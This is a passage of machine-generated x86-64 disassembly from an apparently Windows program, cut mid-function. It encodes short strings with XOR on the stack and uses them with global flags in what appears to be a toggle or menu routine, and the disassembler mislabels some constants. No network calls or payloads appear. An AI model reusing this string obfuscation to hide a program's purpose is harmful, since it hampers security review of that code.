lea rcx, [rbp + 0x5f8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x448], 0x686a6a59
mov word [rbp + 0x44c], 0x100
lea rcx, [rbp + 0x448]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movss xmm0, dword [0x140115d48]
call fcn.140027e20
mov dword [rbp + 0x9e8], 0x2d686447
mov dword [rbp + 0x9ec], 0x68604c
mov byte [rbp + 0x9f0], 1
lea rcx, [rbp + 0x9e8]
call fcn.140073b80
mov rcx, rax
lea rdx, [0x1401a7a68]
call fcn.14004ad70
test al, al
je 0x14006fd9a
movzx eax, byte [0x1401a7a68]
test al, al
je 0x14006fd22
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xff8], 0x49686447
mov dword [rbp + 0xffc], 0x53746e6b
mov dword [rbp + 0x1000], 0x1006b7d
lea rcx, [rbp + 0xff8]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x600], 0x62616e47
mov dword [rbp + 0x604], 0x100767c
lea rcx, [rbp + 0x600]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a68]
test al, al
jne 0x14006fd9a
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x1008], 0x49686447
mov dword [rbp + 0x100c], 0x53746e6b
mov dword [rbp + 0x1010], 0x1006b7d
lea rcx, [rbp + 0x1008]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x608], 0x62616e47
mov dword [rbp + 0x60c], 0x100767c
lea rcx, [rbp + 0x608]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x450], 0x686a6a59
mov word [rbp + 0x454], 0x100
lea rcx, [rbp + 0x450]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
call fcn.1400514b0
call fcn.1400514b0
mov dword [rbp + 0x1158], 0x2d686447
mov dword [rbp + 0x115c], 0x7a736e4c
mov dword [rbp + 0x1160], 0x7e777242
mov word [rbp + 0x1164], 0x100
lea rcx, [rbp + 0x1158]
call fcn.140074570
mov rcx, rax
lea rdx, [0x1401a7a69]
call fcn.14004ad70
test al, al
je 0x14006ff37
movzx eax, byte [0x1401a7a69]
test al, al
je 0x14006feb8
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x10b8], 0x4f686447
mov dword [rbp + 0x10bc], 0x417b6c6f
mov dword [rbp + 0x10c0], 0x7f7073
mov byte [rbp + 0x10c4], 1
lea rcx, [rbp + 0x10b8]
call fcn.140074540
mov rbx, rax
mov dword [rbp + 0x610], 0x62616e47
mov dword [rbp + 0x614], 0x100767c
lea rcx, [rbp + 0x610]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a69]
test al, al
jne 0x14006ff37
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x10c8], 0x4f686447
mov dword [rbp + 0x10cc], 0x417b6c6f
mov dword [rbp + 0x10d0], 0x7f7073
mov byte [rbp + 0x10d4], 1
lea rcx, [rbp + 0x10c8]
call fcn.140074540
mov rbx, rax
mov dword [rbp + 0x618], 0x62616e47
mov dword [rbp + 0x61c], 0x100767c
lea rcx, [rbp + 0x618]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x458], 0x686a6a59
mov word [rbp + 0x45c], 0x100
lea rcx, [rbp + 0x458]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.140027e20
mov dword [rbp + 0x1018], 0x2d686447
mov dword [rbp + 0x101c], 0x7c7c6a46
mov dword [rbp + 0x1020], 0x1006777
lea rcx, [rbp + 0x1018]
call fcn.1400744e0
mov rcx, rax
lea rdx, [0x1401a7a6a]
call fcn.14004ad70
test al, al
je 0x1400700cb
movzx eax, byte [0x1401a7a6a]
test al, al
je 0x14007004d
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xdc8], 0x45686447
mov dword [rbp + 0xdcc], 0x747d636b
mov word [rbp + 0xdd0], 0x66
mov byte [rbp + 0xdd2], 1
lea rcx, [rbp + 0xdc8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x620], 0x62616e47
mov dword [rbp + 0x624], 0x100767c
lea rcx, [rbp + 0x620]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a6a]
test al, al
jne 0x1400700cb
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xdd8], 0x45686447
mov dword [rbp + 0xddc], 0x747d636b
mov word [rbp + 0xde0], 0x66
mov byte [rbp + 0xde2], 1
lea rcx, [rbp + 0xdd8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x628], 0x62616e47
mov dword [rbp + 0x62c], 0x100767c
lea rcx, [rbp + 0x628]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x460], 0x686a6a59
mov word [rbp + 0x464], 0x100
lea rcx, [rbp + 0x460]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movss xmm0, dword [0x140115d48]
call fcn.140027e20
mov dword [rbp + 0x9f8], 0x2d686447
mov dword [rbp + 0x9fc], 0x626e4d
mov byte [rbp + 0xa00], 1
lea rcx, [rbp + 0x9f8]
call fcn.140073b80
mov rcx, rax
lea rdx, [0x1401a7a6b]
call fcn.14004ad70
test al, al
je 0x14007023c
movzx eax, byte [0x1401a7a6b]
test al, al
je 0x1400701ce
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x630], 0x4e686447
mov dword [rbp + 0x634], 0x1007d6f
lea rcx, [rbp + 0x630]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x638], 0x62616e47
mov dword [rbp + 0x63c], 0x100767c
lea rcx, [rbp + 0x638]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a6b]
test al, al
jne 0x14007023c
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x640], 0x4e686447
mov dword [rbp + 0x644], 0x1007d6f
lea rcx, [rbp + 0x640]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x648], 0x62616e47
mov dword [rbp + 0x64c], 0x100767c
lea rcx, [rbp + 0x648]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x468], 0x686a6a59
mov word [rbp + 0x46c], 0x100
lea rcx, [rbp + 0x468]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
cmp byte [0x1401a7a6c], 0
je 0x1400717e2
movdqa xmm0, xmmword [0x140116af0]
movdqu xmmword [rbp + 0x15f8], xmm0
mov word [rbp + 0x1608], 0x100
lea rcx, [rbp + 0x15f8]
call fcn.140073c40
mov rcx, rax
xor edx, edx
call fcn.14004b760
test al, al
je 0x140070419
movdqa xmm0, xmmword [str.Yb_h_0Vw4C]
movdqu xmmword [rbp + 0x17d0], xmm0
mov byte [rbp + 0x17e0], 1
lea rcx, [rbp + 0x17d0]
call fcn.140073c10
mov rcx, rax
lea rdx, [0x1401a7a75]
call fcn.14004ad70
test al, al
je 0x140070419
movzx eax, byte [0x1401a7a75]
test al, al
je 0x140070391
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x1198], 0x68606259
mov dword [rbp + 0x119c], 0x7e577b60
mov dword [rbp + 0x11a0], 0x707d4576
mov word [rbp + 0x11a4], 0x61
mov byte [rbp + 0x11a6], 1
lea rcx, [rbp + 0x1198]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x650], 0x62616e47
mov dword [rbp + 0x654], 0x100767c
lea rcx, [rbp + 0x650]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a75]
test al, al
jne 0x140070419
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x11a8], 0x68606259
mov dword [rbp + 0x11ac], 0x7e577b60
mov dword [rbp + 0x11b0], 0x707d4576
mov word [rbp + 0x11b4], 0x61
mov byte [rbp + 0x11b6], 1
lea rcx, [rbp + 0x11a8]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x658], 0x62616e47
mov dword [rbp + 0x65c], 0x100767c
lea rcx, [rbp + 0x658]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
cmp byte [0x1401a7a6c], 0
je 0x1400717e2
movdqa xmm0, xmmword [str.Yb_h_0Bwg_xpk]
movdqu xmmword [rbp + 0x17b8], xmm0
mov byte [rbp + 0x17c8], 1
lea rcx, [rbp + 0x17b8]
call fcn.140073c10
mov rcx, rax
xor edx, edx
call fcn.14004b760
test al, al
je 0x140070d26
mov dword [rbp + 0x11b8], 0x68606259
mov dword [rbp + 0x11bc], 0x50307b60
mov dword [rbp + 0x11c0], 0x43347e7b
mov word [rbp + 0x11c4], Ordinal_46
mov byte [rbp + 0x11c6], 1
lea rcx, [rbp + 0x11b8]
call fcn.1400745a0
mov rcx, rax
lea rdx, [0x1401a7a70]
call fcn.14004ad70
test al, al
je 0x1400707c1
movzx eax, byte [0x1401a7a70]
test al, al
je 0x140070545
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x10d8], 0x68656759
mov dword [rbp + 0x10dc], 0x78517b60
mov dword [rbp + 0x10e0], 0x25457f
mov byte [rbp + 0x10e4], 1
lea rcx, [rbp + 0x10d8]
call fcn.140074540
mov rbx, rax
mov dword [rbp + 0x378], 0x61624b
mov byte [rbp + 0x37c], 1
lea rcx, [rbp + 0x378]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a70]
test al, al
jne 0x1400707c1
mov byte [0x1401a7a72], 0
mov byte [0x1401a7a71], 0
mov byte [0x1401a7a73], 0
mov byte [0x1401a7a74], 0
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x10e8], 0x68656759
mov dword [rbp + 0x10ec], 0x78517b60
mov dword [rbp + 0x10f0], 0x25457f
mov byte [rbp + 0x10f4], 1
lea rcx, [rbp + 0x10e8]
call fcn.140074540
mov rbx, rax
mov dword [rbp + 0x338], 0x61624b
mov byte [rbp + 0x33c], 1
lea rcx, [rbp + 0x338]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, byte [0x1401a7a72]
mov dword [rbp + 0x1028], 0x647f625c
mov dword [rbp + 0x102c], 0x787c666c
mov dword [rbp + 0x1030], 0x1006a66
lea rcx, [rbp + 0x1028]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x330], 0x61624b
mov byte [rbp + 0x334], 1
lea rcx, [rbp + 0x330]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, byte [0x1401a7a71]
mov dword [rbp + 0xa08], 0x62787e4b
mov dword [rbp + 0xa0c], 0x7d664f
mov byte [rbp + 0xa10], 1
lea rcx, [rbp + 0xa08]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x328], 0x61624b
mov byte [rbp + 0x32c], 1
lea rcx, [rbp + 0x328]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, byte [0x1401a7a73]
mov dword [rbp + 0xa18], 0x7d656059
mov dword [rbp + 0xa1c], 0x64604c
mov byte [rbp + 0xa20], 1
lea rcx, [rbp + 0xa18]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x320], 0x61624b
mov byte [rbp + 0x324], 1
lea rcx, [rbp + 0x320]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, byte [0x1401a7a74]
mov dword [rbp + 0xde8], 0x7d656059
mov dword [rbp + 0xdec], 0x727f6145
mov word [rbp + 0xdf0], 0x79
mov byte [rbp + 0xdf2], 1
lea rcx, [rbp + 0xde8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x318], 0x61624b
mov byte [rbp + 0x31c], 1
lea rcx, [rbp + 0x318]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x470], 0x667f6258
mov word [rbp + 0x474], 0x100
lea rcx, [rbp + 0x470]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
cmp byte [0x1401a7a70], 0
je 0x140070d26
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.140027e20
mov dword [rbp + 0xed8], 0x647f625c
mov dword [rbp + 0xedc], 0x787c666c
mov dword [rbp + 0xee0], 0x1006a66
lea rcx, [rbp + 0xed8]
call fcn.1400744e0
mov rcx, rax
lea rdx, [0x1401a7a72]
call fcn.14004ad70
test al, al
je 0x14007094c
movzx eax, byte [0x1401a7a72]
test al, al
je 0x1400708d7
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xec8], 0x647f625c
mov dword [rbp + 0xecc], 0x787c666c
mov dword [rbp + 0xed0], 0x1006a66
lea rcx, [rbp + 0xec8]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x380], 0x61624b
mov byte [rbp + 0x384], 1
lea rcx, [rbp + 0x380]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a72]
test al, al
jne 0x14007094c
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xeb8], 0x647f625c
mov dword [rbp + 0xebc], 0x787c666c
mov dword [rbp + 0xec0], 0x1006a66
lea rcx, [rbp + 0xeb8]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x340], 0x61624b
mov byte [rbp + 0x344], 1
lea rcx, [rbp + 0x340]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
movaps xmm0, xmm15
call fcn.140027e20
mov dword [rbp + 0xb08], 0x62787e4b
mov dword [rbp + 0xb0c], 0x5c594e23
mov word [rbp + 0xb10], 0x100
lea rcx, [rbp + 0xb08]
call fcn.140073bb0
mov rcx, rax
lea rdx, [0x1401a7a71]
call fcn.14004ad70
test al, al
je 0x140070a91
movzx eax, byte [0x1401a7a71]
test al, al
je 0x140070a1f
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xa28], 0x62787e4b
mov dword [rbp + 0xa2c], 0x7d664f
mov byte [rbp + 0xa30], 1
lea rcx, [rbp + 0xa28]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x370], 0x61624b
mov byte [rbp + 0x374], 1
lea rcx, [rbp + 0x370]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a71]
test al, al
jne 0x140070a91
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xa38], 0x62787e4b
mov dword [rbp + 0xa3c], 0x7d664f
mov byte [rbp + 0xa40], 1
lea rcx, [rbp + 0xa38]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x348], 0x61624b
mov byte [rbp + 0x34c], 1
lea rcx, [rbp + 0x348]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
mov dword [rbp + 0xb18], 0x7d656059
mov dword [rbp + 0xb1c], 0x657f4d2e
mov word [rbp + 0xb20], 0x100
lea rcx, [rbp + 0xb18]
call fcn.140073bb0
mov rcx, rax
lea rdx, [0x1401a7a73]
call fcn.14004ad70
test al, al
je 0x140070bca
movzx eax, byte [0x1401a7a73]
test al, al
je 0x140070b58
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xa48], 0x7d656059
mov dword [rbp + 0xa4c], 0x64604c
mov byte [rbp + 0xa50], 1
lea rcx, [rbp + 0xa48]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x368], 0x61624b
mov byte [rbp + 0x36c], 1
lea rcx, [rbp + 0x368]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a73]
test al, al
jne 0x140070bca
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xa58], 0x7d656059
mov dword [rbp + 0xa5c], 0x64604c
mov byte [rbp + 0xa60], 1
lea rcx, [rbp + 0xa58]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x360], 0x61624b
mov byte [rbp + 0x364], 1
lea rcx, [rbp + 0x360]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.140027e20
mov dword [rbp + 0xea8], 0x7d656059
mov dword [rbp + 0xeac], 0x7e7e442e
mov dword [rbp + 0xeb0], 0x1007871
lea rcx, [rbp + 0xea8]
call fcn.1400744e0
mov rcx, rax
lea rdx, [0x1401a7a74]
call fcn.14004ad70
test al, al
je 0x140070d26
movzx eax, byte [0x1401a7a74]
test al, al
je 0x140070cab
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xdf8], 0x7d656059
mov dword [rbp + 0xdfc], 0x727f6145
mov word [rbp + 0xe00], 0x79
mov byte [rbp + 0xe02], 1
lea rcx, [rbp + 0xdf8]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x358], 0x61624b
mov byte [rbp + 0x35c], 1
lea rcx, [rbp + 0x358]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a74]
test al, al
jne 0x140070d26
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xe08], 0x7d656059
mov dword [rbp + 0xe0c], 0x727f6145
mov word [rbp + 0xe10], 0x79
mov byte [rbp + 0xe12], 1
lea rcx, [rbp + 0xe08]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x350], 0x61624b
mov byte [rbp + 0x354], 1
lea rcx, [rbp + 0x350]
call fcn.140073ac0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
cmp byte [0x1401a7a6c], 0
je 0x1400717e2
mov dword [rbp + 0x1148], 0x2d6b644c
mov dword [rbp + 0x114c], 0x65646a5d
mov dword [rbp + 0x1150], 0x66737d7b
mov word [rbp + 0x1154], 0x100
lea rcx, [rbp + 0x1148]
call fcn.140074570
mov rcx, rax
xor edx, edx
call fcn.14004b760
test al, al
je 0x1400717e2
mov dword [rbp + 0x660], 0x4b216444
mov dword [rbp + 0x664], 0x1006861
lea rcx, [rbp + 0x660]
call fcn.140073b50
mov rcx, rax
lea rdx, [0x1401a7a5e]
call fcn.14004ad70
test al, al
je 0x140070eac
movzx eax, byte [0x1401a7a5e]
test al, al
je 0x140070e38
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x520], 0x624a6444
mov word [rbp + 0x524], WSAGetLastError
mov byte [rbp + 0x526], 1
lea rcx, [rbp + 0x520]
call fcn.140073b20
mov rbx, rax
mov dword [rbp + 0x668], 0x62616e47
mov dword [rbp + 0x66c], 0x100767c
lea rcx, [rbp + 0x668]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a5e]
test al, al
jne 0x140070eac
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x518], 0x624a6444
mov word [rbp + 0x51c], WSAGetLastError
mov byte [rbp + 0x51e], 1
lea rcx, [rbp + 0x518]
call fcn.140073b20
mov rbx, rax
mov dword [rbp + 0x670], 0x62616e47
mov dword [rbp + 0x674], 0x100767c
lea rcx, [rbp + 0x670]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
movaps xmm0, xmm8
call fcn.140027e20
mov dword [rbp + 0x878], 0x20686e58
mov dword [rbp + 0x87c], 0x776048
mov byte [rbp + 0x880], 1
lea rcx, [rbp + 0x878]
call fcn.140073b80
mov rcx, rax
lea rdx, [0x1401a7a5f]
call fcn.14004ad70
test al, al
je 0x140070fe7
movzx eax, byte [0x1401a7a5f]
test al, al
je 0x140070f79
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x678], 0x4b686e58
mov dword [rbp + 0x67c], 0x1006861
lea rcx, [rbp + 0x678]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x680], 0x62616e47
mov dword [rbp + 0x684], 0x100767c
lea rcx, [rbp + 0x680]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a5f]
test al, al
jne 0x140070fe7
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x688], 0x4b686e58
mov dword [rbp + 0x68c], 0x1006861
lea rcx, [rbp + 0x688]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x870], 0x62616e47
mov dword [rbp + 0x874], 0x100767c
lea rcx, [rbp + 0x870]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
mov dword [rbp + 0xb28], 0x636d7249
mov dword [rbp + 0xb2c], 0x767f4923
mov word [rbp + 0xb30], 0x100
lea rcx, [rbp + 0xb28]
call fcn.140073bb0
mov rcx, rax
lea rdx, [0x1401a7a60]
call fcn.14004ad70
test al, al
je 0x140071126
movzx eax, byte [0x1401a7a60]
test al, al
je 0x1400710b1
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x888], 0x636d7249
mov dword [rbp + 0x88c], 0x776048
mov byte [rbp + 0x890], 1
lea rcx, [rbp + 0x888]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x698], 0x62616e47
mov dword [rbp + 0x69c], 0x100767c
lea rcx, [rbp + 0x698]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a60]
test al, al
jne 0x140071126
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x898], 0x636d7249
mov dword [rbp + 0x89c], 0x776048
mov byte [rbp + 0x8a0], 1
lea rcx, [rbp + 0x898]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x6a0], 0x62616e47
mov dword [rbp + 0x6a4], 0x100767c
lea rcx, [rbp + 0x6a0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
movaps xmm0, xmm8
call fcn.140027e20
mov dword [rbp + 0xb38], 0x68796748
mov dword [rbp + 0xb3c], 0x767f4923
mov word [rbp + 0xb40], 0x100
lea rcx, [rbp + 0xb38]
call fcn.140073bb0
mov rcx, rax
lea rdx, [0x1401a7a61]
call fcn.14004ad70
test al, al
je 0x140071271
movzx eax, byte [0x1401a7a61]
test al, al
je 0x1400711fc
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x8a8], 0x68796748
mov dword [rbp + 0x8ac], 0x776048
mov byte [rbp + 0x8b0], 1
lea rcx, [rbp + 0x8a8]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x6a8], 0x62616e47
mov dword [rbp + 0x6ac], 0x100767c
lea rcx, [rbp + 0x6a8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a61]
test al, al
jne 0x140071271
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x8b8], 0x68796748
mov dword [rbp + 0x8bc], 0x776048
mov byte [rbp + 0x8c0], 1
lea rcx, [rbp + 0x8b8]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x6b0], 0x62616e47
mov dword [rbp + 0x6b4], 0x100767c
lea rcx, [rbp + 0x6b0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
mov dword [rbp + 0xe18], 0x6869794d
mov dword [rbp + 0xe1c], 0x7e562260
mov word [rbp + 0xe20], 0x75
mov byte [rbp + 0xe22], 1
lea rcx, [rbp + 0xe18]
call fcn.140073be0
mov rcx, rax
lea rdx, [0x1401a7a62]
call fcn.14004ad70
test al, al
je 0x1400713bf
movzx eax, byte [0x1401a7a62]
test al, al
je 0x140071348
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xb48], 0x6869794d
mov dword [rbp + 0xb4c], 0x767f4960
mov word [rbp + 0xb50], 0x100
lea rcx, [rbp + 0xb48]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x6b8], 0x62616e47
mov dword [rbp + 0x6bc], 0x100767c
lea rcx, [rbp + 0x6b8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a62]
test al, al
jne 0x1400713bf
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xb58], 0x6869794d
mov dword [rbp + 0xb5c], 0x767f4960
mov word [rbp + 0xb60], 0x100
